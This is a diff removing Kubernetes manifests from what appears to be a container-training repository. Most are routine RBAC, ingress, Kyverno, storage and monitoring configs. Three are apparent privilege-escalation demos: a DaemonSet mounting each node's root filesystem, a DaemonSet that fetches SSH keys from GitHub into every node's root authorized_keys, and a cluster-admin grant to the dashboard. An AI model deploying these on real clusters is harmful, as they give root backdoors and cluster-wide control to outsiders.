-          value: "9200"
-        - name: ELASTICSEARCH_USERNAME
-          value: elastic
-        - name: ELASTICSEARCH_PASSWORD
-          value: changeme
-        - name: ELASTIC_CLOUD_ID
-          value:
-        - name: ELASTIC_CLOUD_AUTH
-          value:
-        securityContext:
-          runAsUser: 0
-          # If using Red Hat OpenShift uncomment this:
-          #privileged: true
-        resources:
-          limits:
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 100Mi
-        volumeMounts:
-        - name: config
-          mountPath: /etc/filebeat.yml
-          readOnly: true
-          subPath: filebeat.yml
-        - name: inputs
-          mountPath: /usr/share/filebeat/inputs.d
-          readOnly: true
-        - name: data
-          mountPath: /usr/share/filebeat/data
-        - name: varlibdockercontainers
-          mountPath: /var/lib/docker/containers
-          readOnly: true
-      volumes:
-      - name: config
-        configMap:
-          defaultMode: 0600
-          name: filebeat-config
-      - name: varlibdockercontainers
-        hostPath:
-          path: /var/lib/docker/containers
-      - name: inputs
-        configMap:
-          defaultMode: 0600
-          name: filebeat-inputs
-      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
-      - name: data
-        hostPath:
-          path: /var/lib/filebeat-data
-          type: DirectoryOrCreate
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: filebeat
-subjects:
-- kind: ServiceAccount
-  name: filebeat
-  namespace: kube-system
-roleRef:
-  kind: ClusterRole
-  name: filebeat
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: filebeat
-  labels:
-    k8s-app: filebeat
-rules:
-- apiGroups: [""] # "" indicates the core API group
-  resources:
-  - namespaces
-  - pods
-  verbs:
-  - get
-  - watch
-  - list
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: filebeat
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
----

k8s/grant-admin-to-dashboard.yaml

@@ -1,14 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: kubernetes-dashboard
-  labels:
-    k8s-app: kubernetes-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: cluster-admin
-subjects:
-- kind: ServiceAccount
-  name: kubernetes-dashboard
-  namespace: kube-system

k8s/hackthecluster.yaml

@@ -1,34 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: hackthecluster
-spec:
-  selector:
-    matchLabels:
-      app: hackthecluster
-  template:
-    metadata:
-      labels:
-        app: hackthecluster
-    spec:
-      volumes:
-      - name: slash
-        hostPath:
-          path: /
-      tolerations:
-      - effect: NoSchedule
-        operator: Exists
-      containers:
-      - name: alpine
-        image: alpine
-        volumeMounts:
-        - name: slash
-          mountPath: /hostfs
-        command:
-        - sleep
-        - infinity
-        securityContext:
-          #privileged: true
-          capabilities:
-            add:
-            - SYS_CHROOT

k8s/hacktheplanet.yaml

@@ -1,33 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: hacktheplanet
-spec:
-  selector:
-    matchLabels:
-      app: hacktheplanet
-  template:
-    metadata:
-      labels:
-        app: hacktheplanet
-    spec:
-      volumes:
-      - name: root
-        hostPath:
-          path: /root
-      tolerations:
-      - operator: Exists
-      initContainers:
-      - name: hacktheplanet
-        image: alpine
-        volumeMounts:
-        - name: root
-          mountPath: /root
-        command:
-        - sh
-        - -c
-        - "mkdir -p /root/.ssh && apk update && apk add curl && curl https://github.com/jpetazzo.keys >> /root/.ssh/authorized_keys"
-      containers:
-      - name: web
-        image: nginx
-

k8s/haproxy.cfg

@@ -1,16 +0,0 @@
-global
-  daemon
-
-defaults
-  mode tcp
-  timeout connect 5s
-  timeout client 50s
-  timeout server 50s
-
-listen very-basic-load-balancer
-  bind *:80
-  server blue color.blue.svc:80
-  server green color.green.svc:80
-
-# Note: the services above must exist,
-# otherwise HAproxy won't start.

k8s/haproxy.yaml

@@ -1,16 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: haproxy
-spec:
-  volumes:
-  - name: config
-    configMap:
-      name: haproxy
-  containers:
-  - name: haproxy
-    image: haproxy:1
-    volumeMounts:
-    - name: config
-      mountPath: /usr/local/etc/haproxy/
-

k8s/hpa-v2-pa-httplat.yaml

@@ -1,29 +0,0 @@
-kind: HorizontalPodAutoscaler
-apiVersion: autoscaling/v2
-metadata:
-  name: rng
-spec:
-  scaleTargetRef:
-    apiVersion: apps/v1
-    kind: Deployment
-    name: rng
-  minReplicas: 1
-  maxReplicas: 20
-  behavior:
-    scaleUp:
-        stabilizationWindowSeconds: 60
-    scaleDown:
-        stabilizationWindowSeconds: 180
-  metrics:
-  - type: Object
-    object:
-      describedObject:
-        apiVersion: v1
-        kind: Service
-        name: httplat
-      metric:
-        name: httplat_latency_seconds
-      target:
-        type: Value
-        value: 0.1
-

k8s/ingress-v1.yaml

@@ -1,20 +0,0 @@
-apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: whatever
-spec:
-  #tls:
-  #- secretName: whatever.A.B.C.D.nip.io
-  #  hosts:
-  #  - whatever.A.B.C.D.nip.io
-  rules:
-  - host: whatever.A.B.C.D.nip.io
-    http:
-      paths:
-      - path: /
-        pathType: Prefix
-        backend:
-          service:
-            name: whatever
-            port:
-              number: 1234

k8s/ingress-v1beta1.yaml

@@ -1,17 +0,0 @@
-apiVersion: networking.k8s.io/v1beta1
-kind: Ingress
-metadata:
-  name: whatever
-spec:
-  #tls:
-  #- secretName: whatever.A.B.C.D.nip.io
-  #  hosts:
-  #  - whatever.A.B.C.D.nip.io
-  rules:
-  - host: whatever.A.B.C.D.nip.io
-    http:
-      paths:
-      - path: /
-        backend:
-          serviceName: whatever
-          servicePort: 1234

k8s/ingress.yaml

@@ -1 +0,0 @@
-ingress-v1beta1.yaml

k8s/just-a-pod.yaml

@@ -1,10 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: hello
-  namespace: default
-spec:
-  containers:
-  - name: hello
-    image: nginx
-

k8s/kaniko-build.yaml

@@ -1,29 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: kaniko-build
-spec:
-  initContainers:
-  - name: git-clone
-    image: alpine
-    command: ["sh", "-c"]
-    args: 
-    - |
-      apk add --no-cache git &&
-      git clone git://github.com/jpetazzo/container.training /workspace
-    volumeMounts:
-    - name: workspace
-      mountPath: /workspace
-  containers:
-  - name: build-image
-    image: gcr.io/kaniko-project/executor:latest
-    args:
-      - "--context=/workspace/dockercoins/rng"
-      - "--insecure"
-      - "--destination=registry:5000/rng-kaniko:latest"
-    volumeMounts:
-    - name: workspace
-      mountPath: /workspace
-  volumes:
-  - name: workspace
-

k8s/kyverno-ingress-domain-name-1.yaml

@@ -1,28 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: ingress-domain-name
-spec:
-  rules:
-  - name: create-ingress
-    match:
-      resources: 
-        kinds:
-        - Service
-    generate: 
-      kind: Ingress
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        spec:
-          rules:
-          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
-            http:
-              paths:
-              - backend:
-                  service:
-                    name: "{{request.object.metadata.name}}"
-                    port:
-                      number: 80
-                path: /
-                pathType: Prefix

k8s/kyverno-ingress-domain-name-2a.yaml

@@ -1,32 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: ingress-domain-name
-spec:
-  rules:
-  - name: create-ingress
-    match:
-      resources: 
-        kinds:
-        - Service
-    preconditions:
-    - key: "{{request.object.spec.ports[0].name}}"
-      operator: Equals
-      value: http
-    generate: 
-      kind: Ingress
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        spec:
-          rules:
-          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
-            http:
-              paths:
-              - backend:
-                  service:
-                    name: "{{request.object.metadata.name}}"
-                    port:
-                      name: http
-                path: /
-                pathType: Prefix

k8s/kyverno-ingress-domain-name-2b.yaml

@@ -1,32 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: ingress-domain-name
-spec:
-  rules:
-  - name: create-ingress
-    match:
-      resources: 
-        kinds:
-        - Service
-    preconditions:
-      - key: http
-        operator: In
-        value: "{{request.object.spec.ports[*].name}}"
-    generate: 
-      kind: Ingress
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        spec:
-          rules:
-          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
-            http:
-              paths:
-              - backend:
-                  service:
-                    name: "{{request.object.metadata.name}}"
-                    port:
-                      name: http
-                path: /
-                pathType: Prefix

k8s/kyverno-ingress-domain-name-2c.yaml

@@ -1,34 +0,0 @@
-# Note: this policy uses the operator "AnyIn", which was introduced in Kyverno 1.6.
-# (This policy won't work with Kyverno 1.5!)
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: ingress-domain-name
-spec:
-  rules:
-  - name: create-ingress
-    match:
-      resources: 
-        kinds:
-        - Service
-    preconditions:
-      - key: "{{request.object.spec.ports[*].port}}"
-        operator: AnyIn
-        value: [ 80 ]
-    generate: 
-      kind: Ingress
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        spec:
-          rules:
-          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.A.B.C.D.nip.io"
-            http:
-              paths:
-              - backend:
-                  service:
-                    name: "{{request.object.metadata.name}}"
-                    port:
-                      name: http
-                path: /
-                pathType: Prefix

k8s/kyverno-ingress-domain-name-3.yaml

@@ -1,37 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: ingress-domain-name
-spec:
-  rules:
-  - name: create-ingress
-    context:
-    - name: configmap
-      configMap:
-        name: ingress-domain-name
-        namespace: "{{request.object.metadata.namespace}}"
-    match:
-      resources: 
-        kinds:
-        - Service
-    preconditions:
-    - key: "{{request.object.spec.ports[0].name}}"
-      operator: Equals
-      value: http
-    generate: 
-      kind: Ingress
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        spec:
-          rules:
-          - host: "{{request.object.metadata.name}}.{{request.object.metadata.namespace}}.{{configmap.data.domain}}"
-            http:
-              paths:
-              - backend:
-                  service:
-                    name: "{{request.object.metadata.name}}"
-                    port:
-                      name: http
-                path: /
-                pathType: Prefix

k8s/kyverno-namespace-setup.yaml

@@ -1,63 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: setup-namespace
-spec:
-  rules:
-  - name: setup-limitrange
-    match:
-      resources: 
-        kinds:
-        - Namespace
-    generate: 
-      kind: LimitRange
-      name: default-limitrange
-      namespace: "{{request.object.metadata.name}}" 
-      data:
-        spec:
-          limits:
-          - type: Container
-            min:
-              cpu: 0.1
-              memory: 0.1
-            max:
-              cpu: 2
-              memory: 2Gi
-            default:
-              cpu: 0.25
-              memory: 500Mi
-            defaultRequest:
-              cpu: 0.25
-              memory: 250Mi
-  - name: setup-resourcequota
-    match:
-      resources: 
-        kinds:
-        - Namespace
-    generate: 
-      kind: ResourceQuota
-      name: default-resourcequota
-      namespace: "{{request.object.metadata.name}}" 
-      data:
-        spec:
-          hard:
-            requests.cpu: "10"
-            requests.memory: 10Gi
-            limits.cpu: "20"
-            limits.memory: 20Gi
-  - name: setup-networkpolicy
-    match:
-      resources: 
-        kinds:
-        - Namespace
-    generate: 
-      kind: NetworkPolicy
-      name: default-networkpolicy
-      namespace: "{{request.object.metadata.name}}" 
-      data:
-        spec:
-          podSelector: {}
-          ingress:
-          - from:
-            - podSelector: {}
-

k8s/kyverno-pod-color-1.yaml

@@ -1,22 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: pod-color-policy-1
-spec:
-  rules:
-  - name: ensure-pod-color-is-valid
-    match:
-      resources:
-        kinds:
-        - Pod
-        selector:
-          matchExpressions:
-          - key: color
-            operator: Exists
-          - key: color
-            operator: NotIn
-            values: [ red, green, blue ]
-    validate:
-      failureAction: Enforce
-      message: "If it exists, the label color must be red, green, or blue."
-      deny: {}

k8s/kyverno-pod-color-2.yaml

@@ -1,31 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: pod-color-policy-2
-spec:
-  background: false
-  rules:
-  - name: prevent-color-change
-    match:
-      resources:
-        kinds:
-        - Pod
-    preconditions:
-    - key: "{{ request.operation }}"
-      operator: Equals
-      value: UPDATE
-    - key: "{{ request.oldObject.metadata.labels.color || '' }}"
-      operator: NotEquals
-      value: ""
-    - key: "{{ request.object.metadata.labels.color || '' }}"
-      operator: NotEquals
-      value: ""
-    validate:
-      failureAction: Enforce
-      message: "Once label color has been added, it cannot be changed."
-      deny:
-        conditions:
-        - key: "{{ request.object.metadata.labels.color }}"
-          operator: NotEquals
-          value: "{{ request.oldObject.metadata.labels.color }}"
-

k8s/kyverno-pod-color-3.yaml

@@ -1,26 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: pod-color-policy-3
-spec:
-  background: false
-  rules:
-  - name: prevent-color-change
-    match:
-      resources:
-        kinds:
-        - Pod
-    preconditions:
-    - key: "{{ request.operation }}"
-      operator: Equals
-      value: UPDATE
-    - key: "{{ request.oldObject.metadata.labels.color || '' }}"
-      operator: NotEquals
-      value: ""
-    - key: "{{ request.object.metadata.labels.color || '' }}"
-      operator: Equals
-      value: ""
-    validate:
-      failureAction: Enforce
-      message: "Once label color has been added, it cannot be removed."
-      deny: {}

k8s/kyverno-tls-for-ingress.yaml

@@ -1,46 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: tls-for-ingress
-spec:
-  rules:
-  - name: create-role
-    match:
-      resources: 
-        kinds:
-        - Certificate
-    generate: 
-      kind: Role
-      apiVersion: rbac.authorization.k8s.io/v1
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        rules:
-        - verbs:
-          - get
-          apiGroups:
-          - ""
-          resources:
-          - secrets
-          resourceNames:
-          - "{{request.object.metadata.name}}"
-  - name: create-rolebinding
-    match:
-      resources: 
-        kinds:
-        - Certificate
-    generate: 
-      kind: RoleBinding
-      apiVersion: rbac.authorization.k8s.io/v1
-      name: "{{request.object.metadata.name}}"
-      namespace: "{{request.object.metadata.namespace}}"
-      data:
-        roleRef:
-          apiGroup: rbac.authorization.k8s.io
-          kind: Role
-          name: "{{request.object.metadata.name}}"
-        subjects:
-        - kind: ServiceAccount
-          name: default
-          namespace: "{{request.object.metadata.namespace}}"
-

k8s/local-path-storage.yaml

@@ -1,160 +0,0 @@
-# This is a local copy of:
-# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: local-path-storage
-
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: local-path-provisioner-service-account
-  namespace: local-path-storage
-
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: local-path-provisioner-role
-rules:
-  - apiGroups: [ "" ]
-    resources: [ "nodes", "persistentvolumeclaims", "configmaps" ]
-    verbs: [ "get", "list", "watch" ]
-  - apiGroups: [ "" ]
-    resources: [ "endpoints", "persistentvolumes", "pods" ]
-    verbs: [ "*" ]
-  - apiGroups: [ "" ]
-    resources: [ "events" ]
-    verbs: [ "create", "patch" ]
-  - apiGroups: [ "storage.k8s.io" ]
-    resources: [ "storageclasses" ]
-    verbs: [ "get", "list", "watch" ]
-
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: local-path-provisioner-bind
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: local-path-provisioner-role
-subjects:
-  - kind: ServiceAccount
-    name: local-path-provisioner-service-account
-    namespace: local-path-storage
-
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  name: local-path-provisioner
-  namespace: local-path-storage
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: local-path-provisioner
-  template:
-    metadata:
-      labels:
-        app: local-path-provisioner
-    spec:
-      serviceAccountName: local-path-provisioner-service-account
-      containers:
-        - name: local-path-provisioner
-          image: rancher/local-path-provisioner:v0.0.19
-          imagePullPolicy: IfNotPresent
-          command:
-            - local-path-provisioner
-            - --debug
-            - start
-            - --config
-            - /etc/config/config.json
-          volumeMounts:
-            - name: config-volume
-              mountPath: /etc/config/
-          env:
-            - name: POD_NAMESPACE
-              valueFrom:
-                fieldRef:
-                  fieldPath: metadata.namespace
-      volumes:
-        - name: config-volume
-          configMap:
-            name: local-path-config
-
----
-apiVersion: storage.k8s.io/v1
-kind: StorageClass
-metadata:
-  name: local-path
-provisioner: rancher.io/local-path
-volumeBindingMode: WaitForFirstConsumer
-reclaimPolicy: Delete
-
----
-kind: ConfigMap
-apiVersion: v1
-metadata:
-  name: local-path-config
-  namespace: local-path-storage
-data:
-  config.json: |-
-    {
-            "nodePathMap":[
-            {
-                    "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
-                    "paths":["/opt/local-path-provisioner"]
-            }
-            ]
-    }
-  setup: |-
-    #!/bin/sh
-    while getopts "m:s:p:" opt
-    do
-        case $opt in
-            p)
-            absolutePath=$OPTARG
-            ;;
-            s)
-            sizeInBytes=$OPTARG
-            ;;
-            m)
-            volMode=$OPTARG
-            ;;
-        esac
-    done
-
-    mkdir -m 0777 -p ${absolutePath}
-  teardown: |-
-    #!/bin/sh
-    while getopts "m:s:p:" opt
-    do
-        case $opt in
-            p)
-            absolutePath=$OPTARG
-            ;;
-            s)
-            sizeInBytes=$OPTARG
-            ;;
-            m)
-            volMode=$OPTARG
-            ;;
-        esac
-    done
-
-    rm -rf ${absolutePath}
-  helperPod.yaml: |-
-    apiVersion: v1
-    kind: Pod
-    metadata:
-      name: helper-pod
-    spec:
-      containers:
-      - name: helper-pod
-        image: busybox
-
-
-

k8s/metrics-server.yaml

@@ -1,193 +0,0 @@
-# This file is https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml
-# But with the following arguments added to metrics-server:
-#   args:
-#   - --kubelet-insecure-tls
-#   - --metric-resolution=5s
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: metrics-server
-  namespace: kube-system
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  labels:
-    k8s-app: metrics-server
-    rbac.authorization.k8s.io/aggregate-to-admin: "true"
-    rbac.authorization.k8s.io/aggregate-to-edit: "true"
-    rbac.authorization.k8s.io/aggregate-to-view: "true"
-  name: system:aggregated-metrics-reader
-rules:
-- apiGroups:
-  - metrics.k8s.io
-  resources:
-  - pods
-  - nodes
-  verbs:
-  - get
-  - list
-  - watch
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: system:metrics-server
-rules:
-- apiGroups:
-  - ""
-  resources:
-  - pods
-  - nodes
-  - nodes/stats
-  - namespaces
-  - configmaps
-  verbs:
-  - get
-  - list
-  - watch
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: metrics-server-auth-reader
-  namespace: kube-system
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: extension-apiserver-authentication-reader
-subjects:
-- kind: ServiceAccount
-  name: metrics-server
-  namespace: kube-system
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: metrics-server:system:auth-delegator
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: system:auth-delegator
-subjects:
-- kind: ServiceAccount
-  name: metrics-server
-  namespace: kube-system
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: system:metrics-server
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: system:metrics-server
-subjects:
-- kind: ServiceAccount
-  name: metrics-server
-  namespace: kube-system
----
-apiVersion: v1
-kind: Service
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: metrics-server
-  namespace: kube-system
-spec:
-  ports:
-  - name: https
-    port: 443
-    protocol: TCP
-    targetPort: https
-  selector:
-    k8s-app: metrics-server
----
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: metrics-server
-  namespace: kube-system
-spec:
-  selector:
-    matchLabels:
-      k8s-app: metrics-server
-  strategy:
-    rollingUpdate:
-      maxUnavailable: 0
-  template:
-    metadata:
-      labels:
-        k8s-app: metrics-server
-    spec:
-      containers:
-      - args:
-        - --cert-dir=/tmp
-        - --secure-port=4443
-        - --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname
-        - --kubelet-use-node-status-port
-        - --kubelet-insecure-tls
-        - --metric-resolution=5s
-        image: k8s.gcr.io/metrics-server/metrics-server:v0.4.3
-        imagePullPolicy: IfNotPresent
-        livenessProbe:
-          failureThreshold: 3
-          httpGet:
-            path: /livez
-            port: https
-            scheme: HTTPS
-          periodSeconds: 10
-        name: metrics-server
-        ports:
-        - containerPort: 4443
-          name: https
-          protocol: TCP
-        readinessProbe:
-          failureThreshold: 3
-          httpGet:
-            path: /readyz
-            port: https
-            scheme: HTTPS
-          periodSeconds: 10
-        securityContext:
-          readOnlyRootFilesystem: true
-          runAsNonRoot: true
-          runAsUser: 1000
-        volumeMounts:
-        - mountPath: /tmp
-          name: tmp-dir
-      nodeSelector:
-        kubernetes.io/os: linux
-      priorityClassName: system-cluster-critical
-      serviceAccountName: metrics-server
-      volumes:
-      - emptyDir: {}
-        name: tmp-dir
----
-apiVersion: apiregistration.k8s.io/v1
-kind: APIService
-metadata:
-  labels:
-    k8s-app: metrics-server
-  name: v1beta1.metrics.k8s.io
-spec:
-  group: metrics.k8s.io
-  groupPriorityMinimum: 100
-  insecureSkipTLSVerify: true
-  service:
-    name: metrics-server
-    namespace: kube-system
-  version: v1beta1
-  versionPriority: 100

k8s/mounter.yaml

@@ -1,20 +0,0 @@
-kind: Pod
-apiVersion: v1
-metadata:
-  generateName: mounter-
-  labels:
-    container.training/mounter: ""
-spec:
-  volumes:
-  - name: pvc
-    persistentVolumeClaim:
-      claimName: my-pvc-XYZ45
-  containers:
-  - name: mounter
-    image: alpine
-    stdin: true
-    tty: true
-    volumeMounts:
-    - name: pvc
-      mountPath: /pvc
-    workingDir: /pvc

k8s/netpol-allow-testcurl-for-testweb.yaml

@@ -1,14 +0,0 @@
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: allow-testcurl-for-testweb
-spec:
-  podSelector:
-    matchLabels:
-      app: testweb
-  ingress:
-  - from:
-    - podSelector:
-        matchLabels:
-          run: testcurl
-

k8s/netpol-deny-all-for-testweb.yaml

@@ -1,10 +0,0 @@
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: deny-all-for-testweb
-spec:
-  podSelector:
-    matchLabels:
-      app: testweb
-  ingress: []
-

k8s/netpol-dockercoins.yaml

@@ -1,21 +0,0 @@
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: deny-from-other-namespaces
-spec:
-  podSelector: {}
-  ingress:
-  - from:
-    - podSelector: {}
----
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: allow-webui
-spec:
-  podSelector:
-    matchLabels:
-      app: webui
-  ingress:
-  - from: []
-

k8s/nginx-1-without-volume.yaml

@@ -1,8 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: nginx-without-volume
-spec:
-  containers:
-  - name: nginx
-    image: nginx

k8s/nginx-2-with-volume.yaml

@@ -1,13 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: nginx-with-volume
-spec:
-  volumes:
-  - name: www
-  containers:
-  - name: nginx
-    image: nginx
-    volumeMounts:
-    - name: www
-      mountPath: /usr/share/nginx/html/

k8s/nginx-3-with-git.yaml

@@ -1,21 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: nginx-with-git
-spec:
-  volumes:
-  - name: www
-  containers:
-  - name: nginx
-    image: nginx
-    volumeMounts:
-    - name: www
-      mountPath: /usr/share/nginx/html/
-  - name: git
-    image: alpine
-    command: [ "sh", "-c", "apk add git && git clone https://github.com/octocat/Spoon-Knife /www" ]
-    volumeMounts:
-    - name: www
-      mountPath: /www/
-  restartPolicy: OnFailure
-

k8s/nginx-4-with-init.yaml

@@ -1,20 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: nginx-with-init
-spec:
-  volumes:
-  - name: www
-  containers:
-  - name: nginx
-    image: nginx
-    volumeMounts:
-    - name: www
-      mountPath: /usr/share/nginx/html/
-  initContainers:
-  - name: git
-    image: alpine
-    command: [ "sh", "-c", "apk add git && sleep 5 && git clone https://github.com/octocat/Spoon-Knife /www" ]
-    volumeMounts:
-    - name: www
-      mountPath: /www/

k8s/openebs-pod.yaml

@@ -1,24 +0,0 @@
-apiVersion: v1
-kind: Pod
-metadata:
-  name: openebs-local-hostpath-pod
-spec:
-  volumes:
-  - name: storage
-    persistentVolumeClaim:
-      claimName: local-hostpath-pvc
-  containers:
-  - name: better
-    image: alpine
-    command:
-       - sh
-       - -c
-       - |
-         while true; do
-           echo "$(date) [$(hostname)] Kubernetes is better with PVs." >> /mnt/storage/greet.txt
-           sleep $(($RANDOM % 5 + 20))
-         done
-    volumeMounts:
-    - mountPath: /mnt/storage
-      name: storage
-

k8s/persistent-consul.yaml

@@ -1,98 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRole
-metadata:
-  name: persistentconsul
-rules:
-  - apiGroups: [""]
-    resources:
-      - pods
-    verbs:
-      - get
-      - list
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: persistentconsul
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: persistentconsul
-subjects:
-  - kind: ServiceAccount
-    name: persistentconsul
-    namespace: default
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: persistentconsul
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: persistentconsul
-spec:
-  ports:
-  - port: 8500
-    name: http
-  selector:
-    app: persistentconsul
----
-apiVersion: apps/v1
-kind: StatefulSet
-metadata:
-  name: persistentconsul
-spec:
-  serviceName: persistentconsul
-  replicas: 3
-  selector:
-    matchLabels:
-      app: persistentconsul
-  volumeClaimTemplates:
-    - metadata:
-        name: data
-      spec:
-        accessModes:
-          - ReadWriteOnce
-        resources:
-          requests:
-            storage: 1Gi
-  template:
-    metadata:
-      labels:
-        app: persistentconsul
-    spec:
-      serviceAccountName: persistentconsul
-      affinity:
-        podAntiAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            - labelSelector:
-                matchExpressions:
-                  - key: app
-                    operator: In
-                    values:
-                      - persistentconsul
-              topologyKey: kubernetes.io/hostname
-      terminationGracePeriodSeconds: 10
-      containers:
-        - name: consul
-          image: "consul:1.6"
-          volumeMounts:
-            - name: data
-              mountPath: /consul/data
-          args:
-            - "agent"
-            - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s label_selector=\"app=persistentconsul\""
-            - "-client=0.0.0.0"
-            - "-data-dir=/consul/data"
-            - "-server"
-            - "-ui"
-          lifecycle:
-            preStop:
-              exec:
-                command:
-                - /bin/sh
-                - -c
-                - consul leave

k8s/pizza-1.yaml

@@ -1,14 +0,0 @@
-apiVersion: apiextensions.k8s.io/v1beta1
-kind: CustomResourceDefinition
-metadata:
-  name: pizzas.container.training
-spec:
-  group: container.training
-  version: v1alpha1
-  scope: Namespaced
-  names:
-    plural: pizzas
-    singular: pizza
-    kind: Pizza
-    shortNames:
-    - piz

k8s/pizza-2.yaml

@@ -1,20 +0,0 @@
-apiVersion: apiextensions.k8s.io/v1
-kind: CustomResourceDefinition
-metadata:
-  name: pizzas.container.training
-spec:
-  group: container.training
-  scope: Namespaced
-  names:
-    plural: pizzas
-    singular: pizza
-    kind: Pizza
-    shortNames:
-    - piz
-  versions:
-  - name: v1alpha1
-    served: true
-    storage: true
-    schema:
-      openAPIV3Schema:
-        type: object